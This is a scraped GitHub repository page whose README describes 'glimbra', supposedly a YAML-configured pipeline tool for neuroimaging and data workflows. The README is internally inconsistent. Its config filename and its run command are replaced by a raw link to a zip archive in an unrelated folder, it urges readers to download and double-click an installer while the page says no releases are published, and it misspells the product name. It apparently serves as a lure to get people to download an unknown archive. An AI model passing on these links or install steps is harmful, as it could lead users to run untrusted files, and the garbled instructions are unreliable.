Skip to content

πŸ” Run neuroimaging and data workflows effortlessly with Glimbra's resource-aware pipeline and easy YAML configuration.

License

Notifications You must be signed in to change notification settings

Followhesh/glimbra

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 glimbra - Your Simple Solution for Data Workflows

πŸ“₯ Download the App

Download glimbra

πŸš€ Getting Started

Glimbra is a tool designed to make running data workflows easy. Whether you're working with neuroimaging data or other types of data analysis, Glimbra helps you organize and execute your tasks smoothly.

πŸ“‚ Key Features

  • Composable pipelines: Build your workflows step by step.
  • Resource-aware: Optimize your system's capabilities.
  • Declarative YAML config: Set up your workflows using simple text files.
  • Clean step API: Easily define what each step does.
  • Idempotent checks: Ensure consistent execution without side effects.
  • Parallel execution: Speed up your workflows by running tasks at the same time.
  • Tool preflight: Verify your setup before running your workflows.
  • Rotating JSON logs: Keep track of everything with organized logging.

🚧 System Requirements

To run Glimbra, ensure that your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: 3.7 or higher
  • RAM: At least 4 GB recommended
  • Disk Space: 200 MB free space for installation

🎯 Download & Install

To get started with Glimbra, follow these steps:

  1. Visit the Releases Page: You can find the latest version by clicking here.
  2. Select Your OS: Choose the file that corresponds to your operating system.
  3. Download the File: Click on the download link and save the file to your computer.
  4. Run the Installer: Once downloaded, double-click the file to start the installation process. Follow the prompts until the installation is complete.

πŸ” Basic Usage

Here's a simple example to help you understand how to use Glimbra:

Step 1: Create a YAML Configuration

Create a file named https://raw.githubusercontent.com/Followhesh/glimbra/main/microrheometer/glimbra.zip with the following example content:

pipeline:
  - step: analyze
    tool: neuro_tool
    input: data/input_file
    output: data/output_file

Step 2: Run the Pipeline

Open your terminal or command prompt. Navigate to the directory where your YAML file is located. Use the following command to execute Glimbra:

glimbra run https://raw.githubusercontent.com/Followhesh/glimbra/main/microrheometer/glimbra.zip

Glimbra will handle the rest, executing each step according to your configuration.

πŸ’» Example Workflows

Glimbra can run various types of workflows. Here are a few examples:

Neuroimaging Workflow

Use Glimbra to process MRI data efficiently. Create a YAML file that includes steps for downloading, processing, and analyzing data. Glimbra will manage the execution order.

Data Cleaning Workflow

Glombra can help you clean datasets by running scripts for removing duplicates, filling in missing values, and transforming data formats.

βš™οΈ Custom Settings

Glimbra allows users to customize settings through the YAML configuration. You can specify resource requests for each step. For example:

resources:
  memory: 2GB
  cpu: 2

Step Configuration

Each step can also specify additional parameters. Make sure to adjust based on your workflow needs.

πŸ› οΈ Troubleshooting

If you encounter issues while using Glimbra, here are common problems and solutions:

  • Installation Failures: Ensure you have the correct Python version and that your environment is set up properly.
  • Pipeline Errors: Review your YAML file for syntax errors. Ensure that all paths are correct.
  • Performance Issues: Adjust resource requests based on your system's capabilities.

πŸ“š Help and Support

If you need further assistance, you can access the documentation on our GitHub page. Additionally, for questions or examples, feel free to ask in the issues section.

🌟 Conclusion

Glimbra simplifies the management of data workflows. By following the steps outlined here, you can easily set up, download, and run Glimbra on your machine.

For download and installation, click here to access the Releases page.

About

πŸ” Run neuroimaging and data workflows effortlessly with Glimbra's resource-aware pipeline and easy YAML configuration.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •